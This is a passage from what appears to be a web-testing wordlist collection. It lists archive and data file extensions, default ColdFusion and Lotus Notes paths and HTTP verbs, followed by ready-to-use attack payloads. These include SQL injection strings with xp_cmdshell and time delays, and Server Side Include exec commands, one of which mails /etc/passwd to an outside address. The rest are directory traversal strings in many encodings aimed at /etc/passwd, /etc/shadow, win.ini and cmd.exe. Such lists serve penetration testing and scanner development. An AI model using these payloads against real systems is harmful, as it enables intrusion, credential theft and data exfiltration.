187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> # Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> # Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;<br /> # ll HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> 